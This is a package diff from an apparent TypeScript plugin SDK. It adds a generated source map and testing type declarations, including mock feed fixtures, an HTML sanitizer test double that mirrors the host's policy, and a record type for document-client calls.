+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,sCAAsC;AACtC,qDAAqD;AAErD;;;;;;;;GAQG;AAEH;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,oBAAoB,GAAG,QAAiB,CAAC;AA0DtD;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,IAAa,CAAC;AAqS3C;;;;;;;;;;GAUG;AACH,MAAM,UAAU,gBAAgB,CAAC,CAAU;IACzC,OAAO,CAAC,YAAY,KAAK,IAAI,OAAQ,CAAoB,CAAC,MAAM,KAAK,QAAQ,CAAC;AAChF,CAAC;AAED;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,eAAe,GAAG,0BAA0B,CAAC;AAE1D;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,eAAe,GAAG,GAAG,CAAC;AAmbnC;;;;;;GAMG;AACH,MAAM,oBAAoB,GAAqC;IAC7D,GAAG,EAAE,WAAW;IAChB,GAAG,EAAE,YAAY;IACjB,IAAI,EAAE,YAAY;IAClB,IAAI,EAAE,YAAY;IAClB,IAAI,EAAE,YAAY;IAClB,GAAG,EAAE,WAAW;IAChB,IAAI,EAAE,YAAY;CACnB,CAAC;AAEF;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AACH,MAAM,UAAU,eAAe,CAAC,IAAiB;IAC/C,IAAI,IAAI,CAAC,IAAI,EAAE,CAAC;QACd,OAAO,IAAI,CAAC,IAAI,CAAC;IACnB,CAAC;IACD,MAAM,IAAI,GAAG,IAAI,YAAY,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC;IACnD,MAAM,GAAG,GAAG,IAAI,CAAC,WAAW,CAAC,GAAG,CAAC,CAAC;IAClC,IAAI,GAAG,GAAG,CAAC,EAAE,CAAC;QACZ,OAAO,EAAE,CAAC;IACZ,CAAC;IACD,OAAO,oBAAoB,CAAC,IAAI,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC,IAAI,EAAE,CAAC;AACvE,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,GAAG,2FAA2F,CAAC;AAE/G,4GAA4G;AAC5G,MAAM,iBAAiB,GAAG,0BAA0B,CAAC;AA0BrD;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,UAAU,QAAQ,CAAC,IAAmB;IAC1C,IAAI,CAAC,iBAAiB,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;QAClC,MAAM,IAAI,KAAK,CAAC,wBAAwB,iBAAiB,CAAC,MAAM,UAAU,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACpG,CAAC;IACD,OAAO,iBAAiB,IAAI,KAAK,UAAU,GAAG,CAAC;AACjD,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAqCG;AACH,MAAM,UAAU,OAAO,CAAC,KAA+B,EAAE,IAA6B;IACpF,MAAM,IAAI,GAAG,IAAI,EAAE,SAAS,IAAI,SAAS,CAAC;IAC1C,IAAI,CAAC,iBAAiB,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;QAClC,MAAM,IAAI,KAAK,CAAC,wBAAwB,iBAAiB,CAAC,MAAM,UAAU,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACpG,CAAC;IACD,uGAAuG;IACvG,2FAA2F;IAC3F,MAAM,KAAK,GAAG;QACZ,IAAI,IAAI,8EAA8E;YACpF,0DAA0D;YAC1D,wDAAwD;YACxD,oDAAoD;KACvD,CAAC;IACF,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;QACzB,MAAM,IAAI,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC;QAC5B,KAAK,CAAC,IAAI,CAAC,IAAI,IAAI,IAAI,IAAI,0BAA0B,IAAI,iBAAiB,IAAI,KAAK,CAAC,CAAC;IACvF,CAAC;IACD,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AAC1B,CAAC;AAqHD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6BG;AACH,MAAM,UAAU,UAAU,CACxB,IAAY,EACZ,QAAsB;IAEtB,MAAM,QAAQ,GAAG,aAAa,CAAC,IAAI,CAAC,CAAC;IACrC,KAAK,MAAM,OAAO,IAAI,QAAQ,EAAE,CAAC;QAC/B,MAAM,QAAQ,GAAG,aAAa,CAAC,OAAO,CAAC,CAAC;QACxC,IAAI,QAAQ,CAAC,MAAM,KAAK,QAAQ,CAAC,MAAM,EAAE,CAAC;YACxC,SAAS;QACX,CAAC;QACD,MAAM,MAAM,GAA2B,EAAE,CAAC;QAC1C,IAAI,OAAO,GAAG,IAAI,CAAC;QACnB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;YACzC,MAAM,IAAI,GAAG,QAAQ,CAAC,CAAC,CAAE,CAAC;YAC1B,IAAI,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE,CAAC;gBACzB,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,GAAG,kBAAkB,CAAC,QAAQ,CAAC,CAAC,CAAE,CAAC,CAAC;YAC3D,CAAC;iBAAM,IAAI,IAAI,KAAK,QAAQ,CAAC,CAAC,CAAC,EAAE,CAAC;gBAChC,OAAO,GAAG,KAAK,CAAC;gBAChB,MAAM;YACR,CAAC;QACH,CAAC;QACD,IAAI,OAAO,EAAE,CAAC;YACZ,OAAO,EAAE,OAAO,EAAE,MAAM,EAAE,CAAC;QAC7B,CAAC;IACH,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AAED,2FAA2F;AAC3F,SAAS,aAAa,CAAC,IAAY;IACjC,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,CAClB,GAAG,CAAC,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CACnF,CAAC;IACF,OAAO,IAAI,CAAC,KAAK,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,OAAO,KAAK,EAAE,CAAC,CAAC;AAC3E,CAAC;AAyDD;;;;;;;;;GASG;AACH,MAAM,UAAU,cAAc,CAAC,QAAyB;IACtD,OAAO,QAAQ,CAAC,QAAQ,IAAI,QAAQ,CAAC,YAAY,CAAC;AACpD,CAAC;AAED;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,mBAAmB,GAAG,GAAG,CAAC;AAEvC;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAkCxB,MAAM,CAAC,MAAM,CAAC;IACjB,WAAW,EAAE,MAAM,CAAC,MAAM,CAAC;QACzB,GAAG,EAAE,MAAM,EAAE,GAAG,EAAE,YAAY,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,YAAY;QACjG,QAAQ,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK;QACpG,GAAG,EAAE,GAAG,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,QAAQ,EAAE,KAAK,EAAE,KAAK,EAAE,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,OAAO,EAAE,IAAI;QAChG,OAAO,EAAE,IAAI,EAAE,GAAG,EAAE,IAAI,EAAE,KAAK;KAChC,CAAC;IACF,YAAY,EAAE,MAAM,CAAC,MAAM,CAAC;QAC1B,MAAM,EAAE,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,MAAM,EAAE,KAAK,EAAE,SAAS,EAAE,SAAS,EAAE,OAAO,EAAE,OAAO;KACxG,CAAC;IACF,UAAU,EAAE,MAAM,CAAC,MAAM,CAAC,CAAC,OAAO,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,CAAC,CAAC;IAC5G,WAAW,EAAE,MAAM,CAAC,MAAM,CAAC,CAAC,OAAO,EAAE,QAAQ,EAAE,YAAY,EAAE,MAAM,CAAC,CAAC;IACrE,gBAAgB,EAAE,iCAAiC;IACnD,uGAAuG;IACvG,yGAAyG;IACzG,eAAe,EAAE,kCAAkC;CACpD,CAAC,CAAC;AAg+BH;;;;;;;;;;;;;;;;;;;;GAoBG;AACH,MAAM,CAAC,MAAM,sBAAsB,GAAG,yEAAyE,CAAC;AAsGhH;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,MAAM,UAAU,cAAc,CAAiC,CAAI;IACjE,OAAO,CAAC,CAAC;AACX,CAAC;AA2bD,MAAM,gBAAgB,GAA+C;IACnE,CAAC,IAAI,EAAE,SAAS,CAAC;IACjB,CAAC,SAAS,EAAE,cAAc,CAAC;IAC3B,CAAC,MAAM,EAAE,WAAW,CAAC;IACrB,CAAC,WAAW,EAAE,iBAAiB,CAAC;IAChC,CAAC,QAAQ,EAAE,aAAa,CAAC;IACzB,CAAC,gBAAgB,EAAE,sBAAsB,CAAC;IAC1C,CAAC,YAAY,EAAE,kBAAkB,CAAC;IAClC,CAAC,SAAS,EAAE,eAAe,CAAC;IAC5B,CAAC,QAAQ,EAAE,aAAa,CAAC;CAC1B,CAAC;AAEF,+DAA+D;AAC/D,SAAS,QAAQ,CAAC,KAAkB;IAClC,MAAM,KAAK,GAAG,gBAAgB,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC,KAAK,CAAC,GAAG,CAAC,IAAI,IAAI,CAAC;SACjE,GAAG,CAAC,CAAC,CAAC,GAAG,EAAE,MAAM,CAAC,EAAE,EAAE,CAAC,GAAG,MAAM,KAAK,KAAK,CAAC,GAAG,CAAC,GAAG,CAAC;SACnD,IAAI,CAAC,GAAG,CAAC,CAAC;IACb,OAAO,2BAA2B,KAAK,IAAI,CAAC;AAC9C,CAAC;AAED,8EAA8E;AAC9E,SAAS,QAAQ,CAAC,MAA6C;IAC7D,IAAI,OAAO,MAAM,KAAK,UAAU,EAAE,CAAC;QACjC,OAAO,EAAE,OAAO,EAAE,MAAM,EAAE,CAAC;IAC7B,CAAC;IACD,IAAI,MAAM,IAAI,OAAO,MAAM,KAAK,QAAQ,EAAE,CAAC;QACzC,OAAO,MAAM,CAAC;IAChB,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,sBAAsB,CAAC,OAA6B;IAClE,MAAM,EAAE,GAAG,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC;IAChC,IAAI,cAAc,CAAC,GAAG,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO;IACT,CAAC;IAED,MAAM,gBAAiB,SAAQ,WAAW;QACvB,OAAO,CAAmB;QAC1B,IAAI,CAAc;QAC3B,QAAQ,GAAyB,IAAI,CAAC;QACtC,MAAM,GAA2B,IAAI,CAAC;QAC9C,uGAAuG;QAC/F,WAAW,GAAyB,IAAI,CAAC;QACjD,sGAAsG;QAC9F,OAAO,GAAG,KAAK,CAAC;QAExB;YACE,KAAK,EAAE,CAAC;YACR,MAAM,MAAM,GAAG,IAAI,CAAC,YAAY,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,CAAC,CAAC;YACnD,IAAI,CAAC,OAAO,GAAG,QAAQ,CAAC,aAAa,CAAC,OAAO,CAAC,CAAC;YAC/C,IAAI,CAAC,IAAI,GAAG,QAAQ,CAAC,aAAa,CAAC,KAAK,CAAC,CAAC;YAC1C,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,OAAO,EAAE,IAAI,CAAC,IAAI,CAAC,CAAC;QACzC,CAAC;QAED,0FAA0F;QAC1F,IAAI,GAAG,CAAC,KAAoB;YAC1B,iGAAiG;YACjG,uFAAuF;YACvF,IAAI,IAAI,CAAC,OAAO,IAAI,KAAK,KAAK,IAAI,CAAC,WAAW,EAAE,CAAC;gBAC/C,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;gBACtB,OAAO;YACT,CAAC;YACD,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;YACtB,IAAI,CAAC,KAAK,EAAE,CAAC;QACf,CAAC;QAED,IAAI,GAAG;YACL,OAAO,IAAI,CAAC,QAAQ,CAAC;QACvB,CAAC;QAEO,KAAK;YACX,MAAM,GAAG,GAAG,IAAI,CAAC,QAAQ,CAAC;YAC1B,IAAI,CAAC,GAAG,EAAE,CAAC;gBACT,OAAO;YACT,CAAC;YACD,IAAI,CAAC,OAAO,CAAC,WAAW,GAAG,QAAQ,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;YAC/C,IAAI,CAAC,WAAW,GAAG,GAAG,CAAC;YAEvB,MAAM,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC,CAAC,SAAS,CAAC;YAC9D,IAAI,MAAM,EAAE,CAAC;gBACX,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC;gBAC9B,OAAO;YACT,CAAC;YAED,IAAI,CAAC,QAAQ,EAAE,CAAC;YAChB,IAAI,CAAC,IAAI,CAAC,eAAe,EAAE,CAAC;YAC5B,IAAI,CAAC,MAAM,GAAG,QAAQ,CAAC,MAAM,CAAC,EAAE,GAAG,EAAE,IAAI,EAAE,IAAI,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC;YACzD,IAAI,CAAC,OAAO,GAAG,IAAI,CAAC;QACtB,CAAC;QAEO,QAAQ;YACd,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,EAAE,OAAO,CAAC;YACrC,IAAI,OAAO,EAAE,CAAC;gBACZ,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;YAC5B,CAAC;YACD,IAAI,CAAC,MAAM,GAAG,IAAI,CAAC;YACnB,IAAI,CAAC,OAAO,GAAG,KAAK,CAAC;QACvB,CAAC;QAED,iBAAiB;YACf,gGAAgG;YAChG,kGAAkG;YAClG,kBAAkB;YAClB,IAAI,CAAC,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,QAAQ,EAAE,CAAC;gBACnC,IAAI,CAAC,KAAK,EAAE,CAAC;YACf,CAAC;QACH,CAAC;QAED,oBAAoB;YAClB,IAAI,CAAC,QAAQ,EAAE,CAAC;QAClB,CAAC;KACF;IAED,cAAc,CAAC,MAAM,CAAC,GAAG,EAAE,gBAAgB,CAAC,CAAC;AAC/C,CAAC;AAoGD,MAAM,aAAa,GAAG,IAAI,CAAC;AAE3B,iFAAiF;AACjF,MAAM,UAAU,GAAoC;IAClD,CAAC,MAAM,EAAE,GAAG,CAAC;IACb,CAAC,UAAU,EAAE,IAAI,CAAC;IAClB,CAAC,UAAU,EAAE,IAAI,CAAC;IAClB,CAAC,UAAU,EAAE,IAAI,CAAC;IAClB,CAAC,UAAU,EAAE,IAAI,CAAC;CACnB,CAAC;AAEF,0FAA0F;AAC1F,SAAS,gBAAgB,CAAC,KAAa;IACrC,MAAM,KAAK,GAAG,0DAA0D,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC;IAC5F,IAAI,CAAC,KAAK,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,KAAK,SAAS,IAAI,KAAK,CAAC,CAAC,CAAC,KAAK,SAAS,IAAI,KAAK,CAAC,CAAC,CAAC,KAAK,SAAS,CAAC,EAAE,CAAC;QAC3F,OAAO,IAAI,CAAC;IACd,CAAC;IACD,OAAO,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,GAAG,IAAI,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,GAAG,EAAE,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC;AAC3F,CAAC;AAED,SAAS,WAAW,CAAC,QAAgB,EAAE,MAAwC;IAC7E,IAAI,CAAC,MAAM,EAAE,CAAC;QACZ,OAAO,QAAQ,CAAC;IAClB,CAAC;IACD,OAAO,QAAQ,CAAC,OAAO,CAAC,sBAAsB,EAAE,CAAC,KAAK,EAAE,IAAY,EAAE,EAAE,CACtE,MAAM,CAAC,SAAS,CAAC,cAAc,CAAC,IAAI,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,KAAK,CAClF,CAAC;AACJ,CAAC;AAED;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,gBAAgB,CAC9B,QAAsB;AACtB,qGAAqG;AACrG,mGAAmG;AACnG,6DAA6D;AAC7D,MAA6D;IAE7D,IAAI,MAAM,GAAG,MAAM,CAAC,OAAO,EAAE,CAAC;IAC9B,MAAM,WAAW,GAAG,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,EAAE;QACxC,MAAM,GAAG,CAAC,CAAC;IACb,CAAC,CAAC,CAAC;IAEH,OAAO;QACL,IAAI,MAAM;YACR,OAAO,MAAM,CAAC;QAChB,CAAC;QACD,OAAO;YACL,kGAAkG;YAClG,6EAA6E;YAC7E,WAAW,EAAE,EAAE,CAAC;QAClB,CAAC;QACD,CAAC,CAAC,GAAG,EAAE,MAAM;YACX,MAAM,QAAQ,GACZ,QAAQ,CAAC,MAAM,CAAC,EAAE,CAAC,GAAG,CAAC,IAAI,QAAQ,CAAC,aAAa,CAAC,EAAE,CAAC,GAAG,CAAC,IAAI,GAAG,CAAC;YACnE,OAAO,WAAW,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC;QACvC,CAAC;QACD,MAAM,CAAC,GAAG,EAAE,KAAK,EAAE,MAAM;YACvB,mGAAmG;YACnG,MAAM,QAAQ,GAAG,IAAI,IAAI,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;YAC5D,MAAM,QAAQ,GACZ,QAAQ,CAAC,MAAM,CAAC,EAAE,CAAC,GAAG,GAAG,IAAI,QAAQ,EAAE,CAAC;gBACxC,QAAQ,CAAC,MAAM,CAAC,EAAE,CAAC,GAAG,GAAG,QAAQ,CAAC;gBAClC,QAAQ,CAAC,aAAa,CAAC,EAAE,CAAC,GAAG,GAAG,IAAI,QAAQ,EAAE,CAAC;gBAC/C,QAAQ,CAAC,aAAa,CAAC,EAAE,CAAC,GAAG,GAAG,QAAQ,CAAC;gBACzC,GAAG,CAAC;YACN,OAAO,WAAW,CAAC,QAAQ,EAAE,EAAE,KAAK,EAAE,GAAG,MAAM,EAAE,CAAC,CAAC;QACrD,CAAC;QACD,CAAC,CAAC,KAAK,EAAE,IAAI;YACX,OAAO,IAAI,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;QAC3D,CAAC;QACD,IAAI,CAAC,KAAK,EAAE,IAAI;YACd,MAAM,IAAI,GAAG,KAAK,YAAY,IAAI,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,KAAK,CAAC,CAAC;YAC7D,IAAI,MAAM,CAAC,KAAK,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,EAAE,CAAC;gBACjC,+FAA+F;gBAC/F,OAAO,MAAM,CAAC,KAAK,CAAC,CAAC;YACvB,CAAC;YACD,OAAO,IAAI,IAAI,CAAC,cAAc,CAAC,MAAM,EAAE,IAAI,IAAI,EAAE,SAAS,EAAE,QAAQ,EAAE,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;QACvF,CAAC;QACD,QAAQ,CAAC,KAAK;YACZ,MAAM,OAAO,GAAG,OAAO,KAAK,KAAK,QAAQ,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,gBAAgB,CAAC,KAAK,CAAC,CAAC;YAC5E,IAAI,OAAO,IAAI,IAAI,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,OAAO,CAAC,IAAI,OAAO,GAAG,CAAC,EAAE,CAAC;gBAChE,OAAO,EAAE,CAAC;YACZ,CAAC;YACD,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC;YAClC,MAAM,KAAK,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,GAAG,IAAI,CAAC,EAAE,IAAI,CAAC,KAAK,CAAC,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC,EAAE,KAAK,GAAG,EAAE,CAAC,CAAC;YACtF,MAAM,IAAI,GAAG,IAAI,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,EAAE,WAAW,EAAE,KAAK,EAAE,CAAC,CAAC;YACnE,MAAM,MAAM,GAAG,IAAI,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,EAAE,oBAAoB,EAAE,CAAC,EAAE,WAAW,EAAE,KAAK,EAAE,CAAC,CAAC;YAC9F,8FAA8F;YAC9F,MAAM,KAAK,GAAG,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC;YACtD,OAAO,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAClF,CAAC;QACD,KAAK,CAAC,KAAK;YACT,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,EAAE,CAAC;gBAC5B,OAAO,EAAE,CAAC;YACZ,CAAC;YACD,iFAAiF;YACjF,IAAI,KAAK,GAAG,CAAC,CAAC;YACd,IAAI,MAAM,GAAG,IAAI,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;YAC7B,OAAO,MAAM,IAAI,IAAI,IAAI,KAAK,GAAG,UAAU,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;gBACvD,MAAM,IAAI,IAAI,CAAC;gBACf,KAAK,EAAE,CAAC;YACV,CAAC;YACD,MAAM,MAAM,GAAG,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC;YAC5C,MAAM,CAAC,IAAI,EAAE,MAAM,CAAC,GAAG,UAAU,CAAC,KAAK,CAAE,CAAC;YAC1C,yEAAyE;YACzE,MAAM,MAAM,GAAG,KAAK,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YACnC,IAAI,CAAC;gBACH,OAAO,IAAI,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE;oBACnC,KAAK,EAAE,MAAM;oBACb,IAAI;oBACJ,WAAW,EAAE,OAAO;oBACpB,qBAAqB,EAAE,MAAM;iBAC9B,CAAC,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;YACpB,CAAC;YAAC,MAAM,CAAC;gBACP,8FAA8F;gBAC9F,MAAM,MAAM,GAAG,IAAI,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,EAAE,qBAAqB,EAAE,MAAM,EAAE,CAAC,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;gBAC/F,OAAO,GAAG,MAAM,IAAI,MAAM,EAAE,CAAC;YAC/B,CAAC;QACH,CAAC;KACF,CAAC;AACJ,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AACH,MAAM,UAAU,UAAU,CACxB,QAAsB,EACtB,GAAW,EACX,MAAwC;IAExC,MAAM,IAAI,GAA2B,EAAE,CAAC;IACxC,KAAK,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,QAAQ,CAAC,EAAE,CAAC;QACzD,MAAM,QAAQ,GAAG,OAAO,EAAE,CAAC,GAAG,CAAC,CAAC;QAChC,kGAAkG;QAClG,uEAAuE;QACvE,IAAI,OAAO,QAAQ,KAAK,QAAQ,IAAI,QAAQ,KAAK,EAAE,EAAE,CAAC;YACpD,IAAI,CAAC,MAAM,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,GAAG,WAAW,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC;QACpE,CAAC;IACH,CAAC;IACD,IAAI,IAAI,CAAC,aAAa,CAAC,KAAK,SAAS,EAAE,CAAC;QACtC,sGAAsG;QACtG,IAAI,CAAC,aAAa,CAAC,GAAG,WAAW,CAAC,QAAQ,CAAC,aAAa,CAAC,EAAE,CAAC,GAAG,CAAC,IAAI,GAAG,EAAE,MAAM,CAAC,CAAC;IACnF,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC"}
package/dist/testing.d.ts CHANGED
@@ -200,6 +200,13 @@ export interface MockSchemaClient extends SchemaClient {
200
200
  * ```
201
201
  */
202
202
  export declare function makeMockSchema(rows?: Record<string, Record<string, unknown>[]>): MockSchemaClient;
203
+ /**
204
+ * A {@link DisplaySnapshot} as a test writes it: `descriptionText` optional, derived from `description`
205
+ * when absent. @since 0.16.0
206
+ */
207
+ export type DisplaySnapshotFixture = Omit<DisplaySnapshot, 'descriptionText'> & {
208
+ descriptionText?: string;
209
+ };
203
210
  /** A {@link FeedsClient} answering from registered snapshots. @since 0.9.0 */
204
211
  export interface MockFeedsClient extends FeedsClient {
205
212
  /**
@@ -208,11 +215,14 @@ export interface MockFeedsClient extends FeedsClient {
208
215
  * Mirrors the Java kit's `FakeFeedAccess.withDisplay(...)`, so both halves of a plugin describe the
209
216
  * host's answer the same way.
210
217
  *
218
+ * `descriptionText` may be left out: the double derives it from `description` the way the host does,
219
+ * so a fixture written before `0.16.0` keeps working.
220
+ *
211
221
  * @param slug the episode's public slug
212
222
  * @param snapshot what the host would hand over
213
223
  * @returns this client, for chaining
214
224
  */
215
- withDisplay(slug: string, snapshot: DisplaySnapshot): MockFeedsClient;
225
+ withDisplay(slug: string, snapshot: DisplaySnapshotFixture): MockFeedsClient;
216
226
  /** Every slug asked for, in order — batched calls contribute each slug separately. */
217
227
  readonly requested: string[];
218
228
  }
@@ -236,7 +246,29 @@ export interface MockFeedsClient extends FeedsClient {
236
246
  * @returns a feeds double with `withDisplay` and a recorded `requested` list
237
247
  * @since 0.9.0
238
248
  */
239
- export declare function makeMockFeeds(snapshots?: Record<string, DisplaySnapshot>): MockFeedsClient;
249
+ export declare function makeMockFeeds(snapshots?: Record<string, DisplaySnapshotFixture>): MockFeedsClient;
250
+ /**
251
+ * The test kit's {@link PluginContext.sanitize}: {@link FEED_HTML_POLICY}, applied by walking the parsed
252
+ * tree — what {@link makeMockCtx} puts on `ctx.sanitize`.
253
+ *
254
+ * **A test double, not a security boundary.** The host runs DOMPurify with this policy; this reimplements
255
+ * enough of it for a component test to see the same removals — `<style>`, `style=`, `<script>`, event
256
+ * handlers, `javascript:` links, `srcset` — and the same `target`/`rel` on external links. Never ship it:
257
+ * call `ctx.sanitize` in plugin code, and let the host decide.
258
+ *
259
+ * Needs a DOM (`// @vitest-environment jsdom`, or `happy-dom`), as mounting your component does anyway.
260
+ *
261
+ * ```ts
262
+ * const ctx = makeMockCtx();
263
+ * mount(ctx, '<p style="position:fixed">x</p><style>:host{}</style>');
264
+ * expect(root.innerHTML).not.toContain('style');
265
+ * ```
266
+ *
267
+ * @param html untrusted HTML; `null`, `undefined` and `''` give `''`
268
+ * @returns the HTML with only what the host's policy allows
269
+ * @since 0.16.0
270
+ */
271
+ export declare function sanitizeLikeHost(html: string | null | undefined): string;
240
272
  /** A {@link TagsClient} backed by an in-memory vocabulary. @since 0.9.0 */
241
273
  export interface MockTagsClient extends TagsClient {
242
274
  /** Seeds a tag the **feed** put on an episode — a row the plugin may read but must not remove. */
@@ -356,10 +388,26 @@ export declare function makeMockNotify(opts?: {
356
388
  notifiable?: string[];
357
389
  perUserPerDay?: number;
358
390
  }): MockNotifyClient;
391
+ /** One call a component made on a {@link MockDocClient}. @since 0.16.0 */
392
+ export interface DocCallRecord {
393
+ /** The {@link DocClient} method called. */
394
+ method: 'get' | 'getMany' | 'put' | 'list' | 'remove';
395
+ /** The partitions addressed, e.g. `"data/episode/kraken"` — one, except for `getMany`. */
396
+ partitions: string[];
397
+ /** The keys addressed; empty for `list`. */
398
+ keys: string[];
399
+ }
359
400
  /** A {@link DocClient} storing in memory, keyed by resolved partition path. @since 0.9.0 */
360
401
  export interface MockDocClient extends DocClient {
